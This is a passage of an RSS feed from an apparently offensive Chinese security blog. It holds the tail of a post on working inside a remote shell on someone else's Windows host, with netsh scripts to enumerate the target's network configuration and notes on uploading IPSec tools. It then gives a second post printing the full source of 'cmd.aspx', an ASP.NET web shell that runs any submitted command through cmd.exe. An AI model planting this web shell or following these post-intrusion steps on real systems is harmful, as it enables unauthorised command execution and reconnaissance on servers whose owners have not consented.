1.log<br/><br/>没有用/db参数指定数据库就是采用默认的。然后查看gp.inf。<br/><br/>不过，这样得到的只是组策略的一部分（即"Windows设置"）。而且，某个策略如果未配置，是不会被导出的。比如"重命名系统管理员帐户"，只有被定义了才会在inf文件中出现NewAdministratorName="xxx"。对于无法导出的其他的组策略只有通过访问注册表来获得了。<br/><br/>此办法在XP和2003下无效——可以导出但内容基本是空的。原因不明。根据官方的资料，XP和2003显示组策略用RSoP（组策略结果集）。相应的命令行工具是gpresult。但是，它获得的是在系统启动时被附加（来自域）的组策略，单机测试结果还是"空"。所以，如果想知道某些组策略是否被设置，只有先写一个inf，再用secedit /analyze，然后查看日志了。<br/><br/><br/>网络配置<br/>Windows自带的关于网络的命令行工具很多，比如大家熟悉的ping,tracert,ipconfig,telnet,ftp,tftp,netstat，还有不太熟悉的nbtstat,pathping,nslookup,finger,route,netsh……<br/>这些命令又可分成三类：网络检测（如ping）、网络连接（如telnet）和网络配置（如netsh）。前面两种相对简单，本文只介绍两个网络配置工具。<br/><br/>netsh<br/>在远程shell中使用netsh首先要解决一个交互方式的问题。前面说过，很多shell不能再次重定向输出输出，所以不能在这种环境下交互地使用ftp等命令行工具。解决的办法是，一般交互式的工具都允许使用脚本（或者叫应答文件）。比如ftp -s:filename。netsh也是这样：netsh -f filename。<br/><br/>netsh命令的功能非常多，可以配置IAS、DHCP、RAS、WINS、NAT服务器，TCP/IP协议，IPX协议，路由等。我们不是管理员，一般没必要了解这么多，只需用netsh来了解目标主机的网络配置信息。<br/><br/>1，TCP/IP配置<br/><br/>echo interface ip >s<br/>echo show config >>s<br/>netsh -f s<br/>del s<br/><br/>由此你可以了解该主机有多个网卡和IP，是否是动态分配IP(DHCP)，内网IP是多少（如果有的话）。<br/>这个命令和ipconfig /all差不多。<br/><br/>注意，以下命令需要目标主机启动remoteaccess服务。如果它被禁用，请先通过导入注册表解禁，然后<br/>net start remoteaccess<br/><br/>2，ARP<br/><br/>echo interface ip >s<br/>echo show ipnet >>s<br/>netsh -f s<br/>del s<br/><br/>这个比arp -a命令多一点信息。<br/><br/>3，TCP/UDP连接<br/><br/>echo interface ip >s<br/>echo show tcpconn >>s<br/>echo show udpconn >>s<br/>netsh -f s<br/>del s<br/><br/>这组命令和netstat -an一样。<br/><br/>4，网卡信息<br/>如果netsh命令都有其他命令可代替，那它还有什么存在的必要呢？下面这个就找不到代替的了。<br/><br/>echo interface ip >s<br/>echo show interface >>s<br/>netsh -f s<br/>del s<br/><br/>netsh的其他功能，比如修改IP，一般没有必要使用（万一改了IP后连不上，就"叫天不应叫地不灵"了），所以全部略过。<br/><br/>IPSec<br/>首先需要指出的是，IPSec和TCP/IP筛选是不同的东西，大家不要混淆了。TCP/IP筛选的功能十分有限，远不如IPSec灵活和强大。下面就说说如何在命令行下控制IPSec。<br/><br/>XP系统用ipseccmd，2000下用ipsecpol。遗憾的是，它们都不是系统自带的。ipseccmd在xp系统安装盘的SUPPORT\TOOLS\SUPPORT.CAB中，ipsecpol在2000 Resource Kit里。而且，要使用ipsecpol还必须带上另外两个文件：ipsecutil.dll和text2pol.dll。三个文件一共119KB。<br/><br/>IPSec可以通过组策略来控制，但我找遍MSDN，也没有找到相应的安全模板的语法。已经配置好的IPSec策略也不能被导出为模板。所以，组策略这条路走不通。IPSec的设置保存在注册表中(HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local)，理论上可以通过修改注册表来配置IPSec。但很多信息以二进制形式存放，读取和修改都很困难。相比之下，上传命令行工具更方便。<br/><br/>关于ipsecpol和ipseccmd的资料，网上可以</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2009年07月18日 -- <a href="http://www.4shell.org/archives/888.html" title="命令行下的PUT方式上传大文件">命令行下的PUT方式上传大文件</a></li><li>2009年07月15日 -- <a href="http://www.4shell.org/archives/878.html" title="命令行下一种新的加帐号的方法">命令行下一种新的加帐号的方法</a></li><li>2008年10月29日 -- <a href="http://www.4shell.org/archives/495.html" title="CMD下设置网关">CMD下设置网关</a></li><li>2007年05月9日 -- <a href="http://www.4shell.org/archives/190.html" title="CMD下建立VPN">CMD下建立VPN</a></li><li>2006年11月26日 -- <a href="http://www.4shell.org/archives/117.html" title="命令行下建立虚拟目录">命令行下建立虚拟目录</a></li><li>2006年11月26日 -- <a href="http://www.4shell.org/archives/116.html" title="netsh配置防火墙">netsh配置防火墙</a></li><li>2006年11月15日 -- <a href="http://www.4shell.org/archives/112.html" title="加密CMD使电脑溢出也拿不到CMD权限">加密CMD使电脑溢出也拿不到CMD权限</a></li><li>2006年09月21日 -- <a href="http://www.4shell.org/archives/13.html" title="cmd.aspx">cmd.aspx</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/17.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>cmd.aspx</title>
		<link>http://www.4shell.org/archives/13.html</link>
		<comments>http://www.4shell.org/archives/13.html#comments</comments>
		<pubDate>Thu, 21 Sep 2006 02:49:34 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[CMD]]></category>

		<guid isPermaLink="false">http://202.172.32.240/~shellorg/archives/13.html</guid>
		<description><![CDATA[信息来源:http://s0n9.blog.sohu.com/<br />ASP.NET环境下执行cmd命令的程序，相当于cmd.asp不过这个需要asp.net环境,由于IIS6的机制，本程序不能在IIS6运行，不过可以很好的支持IIS5.x ＋ .net framework.
]]></description>
			<content:encoded><![CDATA[<p>信息来源:http://s0n9.blog.sohu.com/</p>
<blockquote>
<p class="code"><code>&lt;%@ Page Language="VB" Debug="true" %&gt;<br />
&lt;%@ Import Namespace="system.IO" %&gt;<br />
&lt;script runat="server"&gt;<br />
sub runcmd(Src As Object, E As EventArgs)<br />
dim but as string<br />
dim tempfile as string=server.MapPath(".") &amp; "\" &amp; "test.txt"<br />
shell("cmd.exe /c " &amp; cmd.text &amp; " &gt; " &amp; tempfile,,true,20000)<br />
dim myread as new streamreader(tempfile,encoding.default)<br />
but=replace(myread.readtoend,vbcrlf,"&lt;br&gt;")<br />
but=replace(but," "," ")<br />
result.text=but<br />
myread.close<br />
file.exists(tempfile)<br />
file.delete(tempfile)<br />
cmd.text=""<br />
end sub<br />
&lt;/script&gt;<br />
&lt;html&gt;<br />
&lt;head&gt;<br />
&lt;meta http-equiv="Content-Type" content="text/html; charset=gb2312"&gt;<br />
&lt;title&gt;ASP.NET Shell V1.0 By fineacer&lt;/title&gt;<br />
&lt;/head&gt;<br />
&lt;body&gt;<br />
&lt;form runat="server"&gt;<br />
&lt;asp:TextBox ID="cmd" runat="server" /&gt;<br />
&lt;asp:Button ID="Button" runat="server" Text="Run" OnClick="runcmd" /&gt;<br />
&lt;p&gt;&lt;asp:Label ID="result" runat="server" /&gt;&lt;/p&gt;<br />
&lt;/form&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;<br />
</code></p>
</blockquote>
<p>ASP.NET环境下执行cmd命令的程序，相当于cmd.asp不过这个需要asp.net环境,由于IIS6的机制，本程序不能在IIS6运行，不过可以很好的支持IIS5.x ＋ .net framework.</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2010年01月27日 -- <a href="http://www.4shell.org/archives/1547.html" title="ASP.NET+Win2003虚拟主机安全设置">ASP.NET+Win2003虚拟主机安全设置</a></li><li>2009年07月18日 -- <a href="http://www.4shell.org/archives/888.html" title="命令行下的PUT方式上传大文件">命令行下的PUT方式上传大文件</a></li><li>2009年07月15日 -- <a href="http://www.4shell.org/archives/878.html" title="命令行下一种新的加帐号的方法">命令行下一种新的加帐号的方法</a></li><li>2008年10月29日 -- <a href="http://www.4shell.org/archives/495.html" title="CMD下设置网关">CMD下设置网关</a></li><li>2007年05月9日 -- <a href="http://www.4shell.org/archives/190.html" title="CMD下建立VPN">CMD下建立VPN</a></li><li>2006年11月26日 -- <a href="http://www.4shell.org/archives/117.html" title="命令行下建立虚拟目录">命令行下建立虚拟目录</a></li><li>2006年11月26日 -- <a href="http://www.4shell.org/archives/116.html" title="netsh配置防火墙">netsh配置防火墙</a></li><li>2006年11月15日 -- <a href="http://www.4shell.org/archives/112.html" title="加密CMD使电脑溢出也拿不到CMD权限">加密CMD使电脑溢出也拿不到CMD权限</a></li><li>2006年09月21日 -- <a href="http://www.4shell.org/archives/17.html" title="Do All in CmdShell">Do All in CmdShell</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/13.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

